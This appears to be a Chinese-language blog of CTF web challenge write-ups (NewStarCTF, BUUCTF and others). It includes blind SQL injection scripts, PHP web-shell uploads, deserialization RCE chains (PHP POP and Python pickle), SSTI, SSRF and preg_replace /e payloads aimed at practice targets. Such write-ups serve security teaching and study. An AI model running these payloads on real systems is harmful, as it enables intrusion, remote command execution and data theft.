[NewStarCTF 2023 公开赛道]medium_sql

考点:sql 盲注

第一种:sqlmap 一把梭

1
python sqlmap.py -u "http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag --dump

第二种:首先测试注入点,发现存在一些过滤,使用burp+fuzz字典,fuzz测试sql过滤的字符

发现可以使用大小写绕过,但是测完字段开始注入时发现union联合注入不让用

过滤了很多,直接使用布尔盲注进行注入测试,使用大小写绕过过滤字符,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
def condition(res):
if 'Physics' in res.text:
return True
return False
result = ''
_url = 'http://f58e2db2-ddc1-408e-ac4f-9381a098c3b2.node5.buuoj.cn:81/'
import time
for _time in range(1,1000):
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段值
time.sleep(0.1)
res = requests.get(url=url)
if (condition(res)):
result += chr(mid)
print(f'{_time}:{result}')
break
else:
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
res = requests.get(url=url)
if (condition(res)):
left = mid
else:
right = mid

NewStarCTF 2023 公开赛道]POP Gadget

考点:反序列化链子构造

首先把所有的 protected 属性和 private 属性更改为 public 属性,然后开始构造链子,思路如下

  1. 很容易判断出命令执行处在 WhiteGod 类的 $this->func)($this->var); 处
  2. 反序列化触发 Begin 类的 __destruct() 方法,name 被当作字符串执行可以触发 __string 魔术方法
  3. $this->func)(); 对象被当成函数调用触发 __invoke() 魔术方法
  4. 调用对象不存在的方法触发 __call() 魔术方法,调用 CTF 类里的 end() 函数
  5. 销毁对象不存在的属性触发 __unset() 魔术方法,进而命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
public $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
public $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
public $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}
class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

$payload = new Begin();
$payload->name = new Then();
$payload->name->func = new Super();
$payload->name->func->obj = new Handle();
$payload->name->func->obj->obj = new CTF();
$payload->name->func->obj->obj->handle = new WhiteGod();
$payload->name->func->obj->obj->handle->func = 'system';
$payload->name->func->obj->obj->handle->var = "cat /flag";

echo serialize($payload);

[极客大挑战 2019]Secret File

考点:信息收集,伪协议读取

查看源码,发现 /Archive_room.php 页面,打开

抓包重放,得到提示有个 secr3t.php 页面

存在 include 函数,明显的文件包含漏洞,过滤了 http,data 协议,使用 php 伪协议读取文件

payload 如下:

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

成功读取到 flag.php 的 base64 编码格式,解码即可得到 flag

[SUCTF 2019]CheckIn

考点:.user.ini文件上传

先上传 .user.ini 文件,然后上传图片马,只要访问同一文件夹下的 php 文件,图片就将被解析执行,从而执行一句话木马

1
2
3
GIF89a

auto_prepend_file=1.gif
1
2
3
GIF89a

<script language="php">eval($_POST["a"]);</script>

访问 index.php,解析成功,连接获取 flag

[GXYCTF2019]禁止套娃

考点:git 泄露,无参 rce

通过 git 泄露得到源码

过滤了很多而且要求正则是类似函数调用那样执行的,使用无参 rce 来绕过,payload 如下:

1
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

[GWCTF 2019]枯燥的抽奖

考点:伪随机数爆破

很有意思一道题,首先是进入页面让猜测剩下的 10 位字符,抓包查看

发现是向check.php发起请求,得到检验输入字符串的源码

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

分析发现本题逻辑是使用一个伪随机数种子来生成随机数,将随机数作为下标抽取 $str_long1 表里的字符串,将部分回显到页面上,而这就是抽奖的密码

理解之后我们可以写一个脚本,根据回显出来的部分字符串逆推出前几位随机数,然后使用工具 php_mt_seed 根据随机数推出种子

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
str1 ='CXH0tXiaj1'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break


print(result)

# 38 38 0 61 59 59 0 61 43 43 0 61 26 26 0 61 19 19 0 61 59 59 0 61 8 8 0 61 0 0 0 61 9 9 0 61 27 27 0 61

至于生成的 result 为什么要这样拼接,请看官方语法,网上找的似乎都没讲

生成 result 之后就可以使用工具爆破出随机数种子了,得到种子和版本号

再修改一下题目源码,将种子改为确定的值,输出完整的 20 位字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$seed=610471137;

mt_srand($seed);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

echo $str;

# CXH0tXiaj1JOqpiaqpJh

输入所得字符串,即可得到 flag

[护网杯 2018]easy_tornado

考点:tornado 模版注入

hash 值置空得到错误界面

发现是 tornado 模版注入,需要使用 handler.settings 获取环境变量里的一些信息,这里得到 cookie_secret

下图依次是 hint.txt 和 flag.txt 里的内容

按照 hint.txt 里的公式加密,写入要读取的文件和 hash 值,得到 flag

1
?filename=/fllllllllllllag&filehash=a7fdea126339a5d2d552c6623e33a664

[BJDCTF2020]The mystery of ip

考点:Twig 模版注入

主页什么都没有,扫目录发现两个 php 页面

flag 页面将 ip 地址显示出来了,其他页面没啥东西

结合题目名字和 flag 页面的 ip 地址猜测是 X-Forwarded-For 处有问题

添加 X-Forwarded-For 头,测试可以看到存在 Twig 模版注入漏洞,{{}}内的算式会被解析

burp 不知道为什么重放的时候很卡,直接使用 hackbar 添加 X-Forwarded-For 头来模板渲染命令执行

[BJDCTF2020]Mark loves cat

考点:.git 源码泄露,命令执行

扫出一堆目录,猜测是 .git 泄露

使用 githacker 工具拉取到源码,在 index.php 中发现 php 源码

1
githacker --url http://688db0f9-41fe-4f98-9f6c-e9cda940f77a.node5.buuoj.cn:81/.git/ --output-folder result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

我们这里利用最后一段代码得到 flag,get 传参 flag=flag,执行 exit 命令,让 is=flag,会退出然后执行 $flag

1
2
3
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
exit($is);
}

payload 如下:

1
?is=flag&flag=flag

[红明谷CTF 2021]write_shell

考点:RCE 命令执行

源码如下,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}

分析:

  1. action 为 pwd 时,得到当前目录 sandbox/065831472858248584ff4993846d5065/
  2. action 为 upload 时,会上传数据到目录路径下的 index.php 中,并且会对上传的数据进行检查
  3. data 过滤了 php,可以使用短标签绕过,用反引号执行命令,将命令结果上传到 index.php,访问index.php,得到 flag

先写入以下 payload,再访问文件 /sandbox/065831472858248584ff4993846d5065/index.php,得到 flag

1
?action=upload&data=<?=`cat%09/*`?>

[网鼎杯 2020 朱雀组]phpweb

考点:命令执行,反序列化

查看源码,有一个 js 代码,每隔五秒自动提交任务,刷新界面

使用 Yakit 抓包,等待自动刷新,POST 请求包有两个参数,func 和 p,根据回显猜测是 fucn(p)这样的命令执行,可以使用其他函数(比如 MD5)验证一下

确定之后尝试 RCE,敏感函数应该被过滤了,使用 file_get_contents 函数获取当前页面源码

拿到源码开始审计,发现黑名单过滤了很多执行命令的函数,但是存在一个 __destruct() 魔术方法,该方法会在脚本执行完自动触发,当 func 不为空的话再次调用 gettime 函数

那么思路就有了,让 func=unserialize,p 是执行命令的序列化数据,unserialize 函数调用结束后触发__destruct() 方法,又执行了一次序列化数据里的调用,这就绕过了黑名单检测

以下是反序列化脚本,flag 位置可以用 find / -name "flag*" 命令来找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function gettime($func, $p)
{
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
}
}
class Test
{
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
function __destruct()
{
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);

flag 在 /tmp/flagoefiu4r93 中,最终 payload 如下:

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[BJDCTF2020]ZJCTF,不过如此

考点:文件包含,PHP 特性绕过

第一层没什么说的,考察文件包含伪协议的利用,分别使用 data 伪协议和 php 伪协议即可,不过要注意将内容 url 编码,因为是 GET 方式传参的

1
text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

读取到第二层源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

考察 preg_replace 在 /e 模式下的代码执行漏洞,foreach 将参数名作为正则表达式,参数值作为待处理字符串,再调用 complex 函数执行任意代码,恶意代码需要用 ${}包裹

传参即可拿到 flag,payload 如下:

1
\S*=${getFlag()}&cmd=system('cat%20/flag');

[WesternCTF2018]shrine

考点:SSTI 模板注入

拿到源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

可以看到 flag 在当前环境变量中,小括号被过滤了,config 和 self 也会被替换为 None

先给出 payload 如下,再讲解为什么这里可以使用 config

1
{{url_for.__globals__['current_app'].config['FLAG']}}

虽然看起来 {{% set config\=None%}} 会将 payload {{url_for.globals['current_app'].config}} 中的 config 替换为空,但 set 命令实际上是在当前线程的模板的局部作用域中将 config 替换成空,而 current_app 得到的栈顶元素不是应用上下文,而是 flask 的应用实例对象,作为上层对象不会受到 set的限制

[网鼎杯 2020 朱雀组]Nmap

考点:NMAP 命令执行

Nmap 扫描,将 nmap 扫描结果写入文件时加入一句话木马实现 RCE

1
127.0.0.1 '<?php @eval($_POST["hack"]);?> -oG hack.php '

这里有过滤,将第一个 php 替换为短标签,后缀替换为 phtml 即可绕过

1
127.0.0.1 '<?= @eval($_POST["hack"]);?> -oG hack.phtml '

然后蚁剑连接即可,拿到 flag

[SWPU2019]Web1

考点:SQL 注入绕过

注册登陆后,经测试存在 SQL 注入漏洞。在广告名处填入恶意注入语句,发布后查看即可触发语句执行

又发现存在 WAF,可以利用回显判断过滤关键字,这里由于发包之后直接就会发布,但是发布的数量又有限制,所以不能爆破,只能手工慢慢测,测出过滤的有 or,#,--+,空格

首先测字段数然后爆数据库,空格使用内联注释符绕过,后面的注释可以用引号闭合替代

1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

因为 information_schema.tables 中有 or,被过滤了,不能正常查表名,使用 mysql.innodb_table_stats 也能查到表名

1
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

查到表名 user 后,接下来就是最重要的查数据了,但是还是 information_schema.columns 中含有 or 关键字,不能查看列名了,需要用到 无列名注入 技术来拿到数据

payload 解释:

先创建一个临时结果集,定义列名:select 1,2 as a,3 as b

然后 UNION 真实的表:union select * from users

最后从整个结果集中选择b列:select group_concat(b) from (…)a

由于b是第三列的别名,最终会返回users表的第三列所有值连接成的字符串

1
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[CISCN 2019 初赛]Love Math

考点:RCE 命令执行

这里有道题解,讲了多种方式绕过,如下方式不行可以看看这篇文章

1
https://www.cnblogs.com/20175211lyz/p/11588219.html

这题还是很经典的,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

过滤了很多,只能用这几个数学函数来构造 payload

首先写出基本的 payload 格式:c=($_GET[a])($_GET[b])&a=system&b=cat /flag

现在只需要使用数学函数构造 ($_GET[a])($_GET[b]) 即可

使用 base_convert 36 将十进制数转化为 36 进制的字符串 hex2bin,最终构造出 _GET,再使用大括号代替中括号传参,从而绕过,执行任意命令

base_convert(37907361743,10,36)=>“hex2bin”

dechex(1598506324)=>“5f474554”

hex2bin(“5f474554”)=>_GET

最终 payload 如下:

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat /flag

[De1CTF 2019]SSRF Me

考点:代码审计,SSRF 利用

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500

if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200

if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()

if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
return getSign(self.action, self.param) == self.sign

# Generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr

if waf(param):
return "No Hacker!!!!"

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt", "r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)

看到一共有三个路由,一个 index 界面,一个是 /geneSign,用来获取签名的,还有一个是 /Delta,用来进行最终的传参获取 flag 的

首先绕过 checkSign(),并且传入的 action 需要同时包含 scan 和 read,然后 if "scan" in self.action: 执行将 flag.txt 中的数据写入 result.txt 中,继续 if "read" in self.action: 执行读取 result.txt 中的数据,并且放在 result[‘data’] 中, 以json的形式返回到客户端。

先获取 hash 来绕过 checkSign(),payload 如下:

1
/geneSign?param=flag.txtread

用 get 传参的方式获取 param,用 cookie 传参的方式传入action 和 sign,得到 flag

1
2
GET /De1ta?param=flag.txt HTTP/1.1
Cookie: action=readscan;sign=58b0f52359b59d01092f285890bd2dae

[NCTF2019]SQLi

考点:SQL 注入绕过

在 robots.txt 中找到 hint.txt,访问得到黑名单和拿到 flag 的条件

1
2
3
4
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,
Then you will get the flag;

一个登录框,登陆逻辑如下:

1
select * from users where username='' and passwd=''

单引号被过滤了,不能用单引号闭合了,使用反斜杠将 username 后一个单引号转义

使用 MySQL 的 ||(逻辑或)和 regexp(正则匹配),根据正确与否,逐字符匹配出正确的密码(也算是一种布尔盲注)

1
2
username:\
passwd:||/**/passwd/**/regexp/**/"^a";%00

正确的条件下,响应包中有回显welcome.php,基于此构造 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string
import requests
from urllib import parse

passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://84b9aa67-f612-474a-8ba0-758554e0dcd7.node5.buuoj.cn:81/'

for n in range(100):
for m in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m=='_' and 'welcome' not in res.text:
break
print(passwd)

October 2019 Twice SQL Injection

考点:SQL 二次注入

很少遇到二次注入的题型,记录一下

经测试,登录框无明显 SQL 注入漏洞,注册 1' or 1=1#用户,发现可以直接注册成功,且回显出用户名,说明用户名处无过滤

依次注册以下用户名,登陆,进行 SQL 注入,即可拿到 flag

1
2
3
4
1' union select database() #
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
1' union select group_concat(flag) from ctftraining.flag#

[CISCN2019 华北赛区 Day1 Web2]ikun

考点:JWT 伪造,pickle 反序列化

打开网站,说是要让我们买到 lv6,但是前几页都没有 lv6 的图片

写脚本爆破页面,直到有 lv6.png 的回显出现,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://1f8f0055-9614-4dd4-99eb-65902d7a1bc5.node5.buuoj.cn:81/shop?page="

for i in range(1, 1000):
url_i = url + str(i)
r = requests.get(url_i)
if "lv6.png" in r.text:
print(url_i)
break
# http://1f8f0055-9614-4dd4-99eb-65902d7a1bc5.node5.buuoj.cn:81/shop?page=181

需要先注册一个用户并登陆,然后访问该页面,点击购买 lv6,很显然我们买不起,先抓包看看参数,发现有折扣参数,尝试修改折扣再购买,即可购买成功

访问 /b1g_m4mber 提示页面只能 admin 访问,肯定是做了鉴权,请求包 cookie 参数中有 JWT,猜测是用 JWT 做的鉴权,经尝试是弱口令,使用 c-jwt-cracker 爆破一下得到密钥

修改 username 参数为 admin 后用密钥重新加密,填入参数即可正常访问 /b1g_m4mber

响应包中有一个源码路径,访问拿到源码

代码审计,可以发现在 admin.py 处存在一个 pickle 反序列化操作,没有任何过滤,肯定存在一个反序列化漏洞,构造 payload 执行命令即可得到 flag,payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os
import urllib

class exp(object):
def __reduce__(self):
# return (eval, ("__import__('os').popen('ls /').read()",))
return (eval, ("open('/flag.txt','r').read()",))

e = exp()
s = pickle.dumps(e)
print(urllib.quote(s))